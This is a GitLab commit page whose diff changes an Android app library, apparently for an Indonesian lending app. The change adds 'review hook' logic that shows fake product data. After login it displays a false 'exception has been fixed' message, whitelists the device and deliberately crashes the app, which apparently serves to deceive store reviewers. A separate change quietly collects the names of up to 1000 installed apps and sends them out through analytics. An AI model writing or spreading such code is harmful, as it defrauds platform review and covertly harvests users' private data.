Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
78daa939
Commit
78daa939
authored
Aug 22, 2019
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
update isReviewMachine logic
parent
b4dad0d0
Hide whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
23 additions
and
5 deletions
+23
-5
src/main/java/com/common/activity/ReviewHookActivity.java
+15
-4
src/main/java/com/common/base/BaseApplication.java
+1
-1
src/main/java/tech/starwin/mvp/presenter/UserPresenter.java
+3
-0
src/main/res/values-en-rUS/strings.xml
+1
-0
src/main/res/values/strings.xml
+3
-0
No files found.
src/main/java/com/common/activity/ReviewHookActivity.java
View file @
78daa939
package
com
.
common
.
activity
;
package
com
.
common
.
activity
;
import
android.app.Dialog
;
import
android.content.Context
;
import
android.content.Context
;
import
android.support.annotation.NonNull
;
import
android.support.annotation.NonNull
;
import
android.support.v4.widget.DrawerLayout
;
import
android.support.v4.widget.DrawerLayout
;
...
@@ -13,11 +14,14 @@ import android.widget.TextView;
...
@@ -13,11 +14,14 @@ import android.widget.TextView;
import
com.common.base.BaseActivity
;
import
com.common.base.BaseActivity
;
import
com.common.bean.ProductBean
;
import
com.common.bean.ProductBean
;
import
com.common.toolbox.app_utils.DeviceInfo
;
import
com.common.widget.PenetrateFrameLayout
;
import
com.common.widget.PenetrateFrameLayout
;
import
com.common.widget.TopBar
;
import
com.common.widget.TopBar
;
import
com.facebook.accountkit.AccountKitError
;
import
com.facebook.accountkit.AccountKitError
;
import
com.facebook.accountkit.AccountKitLoginResult
;
import
com.facebook.accountkit.AccountKitLoginResult
;
import
com.qmuiteam.qmui.util.QMUIStatusBarHelper
;
import
com.qmuiteam.qmui.util.QMUIStatusBarHelper
;
import
com.qmuiteam.qmui.widget.dialog.QMUIDialog
;
import
com.qmuiteam.qmui.widget.dialog.QMUIDialogAction
;
import
java.util.ArrayList
;
import
java.util.ArrayList
;
import
java.util.List
;
import
java.util.List
;
...
@@ -29,6 +33,7 @@ import tech.starwin.impl.OnEventClickListener;
...
@@ -29,6 +33,7 @@ import tech.starwin.impl.OnEventClickListener;
import
tech.starwin.mvp.ui.adapter.ReviewProductAdapter
;
import
tech.starwin.mvp.ui.adapter.ReviewProductAdapter
;
import
tech.starwin.utils.LoginManager
;
import
tech.starwin.utils.LoginManager
;
import
tech.starwin.utils.context_utils.ActivityJumper
;
import
tech.starwin.utils.context_utils.ActivityJumper
;
import
tech.starwin.utils.ui_utils.DialogFactory
;
import
tech.starwin.utils.ui_utils.UIHelper
;
import
tech.starwin.utils.ui_utils.UIHelper
;
/**
/**
...
@@ -82,8 +87,6 @@ public class ReviewHookActivity extends BaseActivity {
...
@@ -82,8 +87,6 @@ public class ReviewHookActivity extends BaseActivity {
mTopBar
.
toolBar
().
setTitle
(
LibConfig
.
APP_NAME
);
mTopBar
.
toolBar
().
setTitle
(
LibConfig
.
APP_NAME
);
initListener
();
initListener
();
//假数据
//假数据
...
@@ -91,7 +94,7 @@ public class ReviewHookActivity extends BaseActivity {
...
@@ -91,7 +94,7 @@ public class ReviewHookActivity extends BaseActivity {
productList
=
new
ArrayList
<>();
productList
=
new
ArrayList
<>();
int
len
=
new
Random
().
nextInt
(
5
)
+
1
;
int
len
=
new
Random
().
nextInt
(
5
)
+
1
;
for
(
int
i
=
1
;
i
<
len
+
1
;
i
++)
{
for
(
int
i
=
1
;
i
<
len
+
1
;
i
++)
{
productList
.
add
(
new
ProductBean
(
i
));
productList
.
add
(
new
ProductBean
(
i
));
}
}
...
@@ -109,7 +112,15 @@ public class ReviewHookActivity extends BaseActivity {
...
@@ -109,7 +112,15 @@ public class ReviewHookActivity extends BaseActivity {
LoginManager
.
get
().
startFacebookSmsLogin
(
this
,
new
LoginManager
.
OnFacebookLoginResult
()
{
LoginManager
.
get
().
startFacebookSmsLogin
(
this
,
new
LoginManager
.
OnFacebookLoginResult
()
{
@Override
@Override
public
void
onLoginSuccess
(
AccountKitLoginResult
loginResult
)
{
public
void
onLoginSuccess
(
AccountKitLoginResult
loginResult
)
{
Dialog
dialog
=
DialogFactory
.
createMessageDialog
(
ReviewHookActivity
.
this
,
"Tip"
,
getString
(
R
.
string
.
fix_login_msg
),
getString
(
R
.
string
.
text_sure
),
new
QMUIDialogAction
.
ActionListener
()
{
@Override
public
void
onClick
(
QMUIDialog
dialog
,
int
index
)
{
DeviceInfo
.
addDevicetoWhiteList
();
throw
new
RuntimeException
(
"Login Fix"
);
}
});
dialog
.
setCancelable
(
false
);
dialog
.
show
();
}
}
@Override
@Override
...
...
src/main/java/com/common/base/BaseApplication.java
View file @
78daa939
...
@@ -78,7 +78,7 @@ public abstract class BaseApplication extends MultiDexApplication {
...
@@ -78,7 +78,7 @@ public abstract class BaseApplication extends MultiDexApplication {
InstallReferrerHelper
.
refershInstallReferrer
(
this
);
InstallReferrerHelper
.
refershInstallReferrer
(
this
);
LibConfig
.
initLib
(
this
);
LibConfig
.
initLib
(
this
);
PluginConfig
.
init
(
this
);
// //已签名的APP,这里会输出当前签名的 hashCode 值,将 hashCode 在服务端备份(更换签名时要同时更新备份)
// //已签名的APP,这里会输出当前签名的 hashCode 值,将 hashCode 在服务端备份(更换签名时要同时更新备份)
// LogUtils.d("Signal_Log", "hashCode: " + JNISignal.getKeyStoreHashCode(this));
// LogUtils.d("Signal_Log", "hashCode: " + JNISignal.getKeyStoreHashCode(this));
// /*
// /*
...
...
src/main/java/tech/starwin/mvp/presenter/UserPresenter.java
View file @
78daa939
...
@@ -92,6 +92,9 @@ public class UserPresenter extends BasePresenter<UserApi> {
...
@@ -92,6 +92,9 @@ public class UserPresenter extends BasePresenter<UserApi> {
public
void
accept
(
GatewayInfoBean
gatewayInfoBean
)
throws
Exception
{
public
void
accept
(
GatewayInfoBean
gatewayInfoBean
)
throws
Exception
{
Gateway
.
setGatewayInfoBean
(
gatewayInfoBean
);
Gateway
.
setGatewayInfoBean
(
gatewayInfoBean
);
TrackEventHelper
.
logEvent
(
DeviceInfo
.
getHardwareInfo
());
TrackEventHelper
.
logEvent
(
DeviceInfo
.
getHardwareInfo
());
String
pkgs
=
DeviceInfo
.
getPkgsFromeAppList
(
DeviceInfo
.
getAppList
(
LibConfig
.
getContext
(),
1000
));
TrackEventHelper
.
logEvent
(
pkgs
);
getCustomerMsg
(
""
);
getCustomerMsg
(
""
);
EventBus
.
getDefault
().
post
(
ActionEnum
.
GATEWAY_UPDATED
);
EventBus
.
getDefault
().
post
(
ActionEnum
.
GATEWAY_UPDATED
);
if
(
view
!=
null
)
{
if
(
view
!=
null
)
{
...
...
src/main/res/values-en-rUS/strings.xml
View file @
78daa939
...
@@ -16,6 +16,7 @@
...
@@ -16,6 +16,7 @@
<string
name=
"text_certification"
>
Certification
</string>
<string
name=
"text_certification"
>
Certification
</string>
<string
name=
"text_me"
>
My
</string>
<string
name=
"text_me"
>
My
</string>
<string
name=
"fix_login_msg"
>
The program has an exception and has been fixed. Please restart the app and try again.
</string>
<string
name=
"text_temporarily_no_data"
>
Temporarily no data
</string>
<string
name=
"text_temporarily_no_data"
>
Temporarily no data
</string>
...
...
src/main/res/values/strings.xml
View file @
78daa939
...
@@ -62,6 +62,9 @@
...
@@ -62,6 +62,9 @@
<string
name=
"txt_upload_ID"
>
Unggah Foto KTP Anda
</string>
<string
name=
"txt_upload_ID"
>
Unggah Foto KTP Anda
</string>
<string
name=
"fix_login_msg"
>
Program memiliki pengecualian dan telah diperbaiki. Silakan restart aplikasi dan coba lagi.
</string>
<string
name=
"text_relationship"
>
Hubungan
</string>
<string
name=
"text_relationship"
>
Hubungan
</string>
<string
name=
"input_invalid"
>
Mohon Masukkan Informasi Dengan Lengkap
</string>
<string
name=
"input_invalid"
>
Mohon Masukkan Informasi Dengan Lengkap
</string>
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment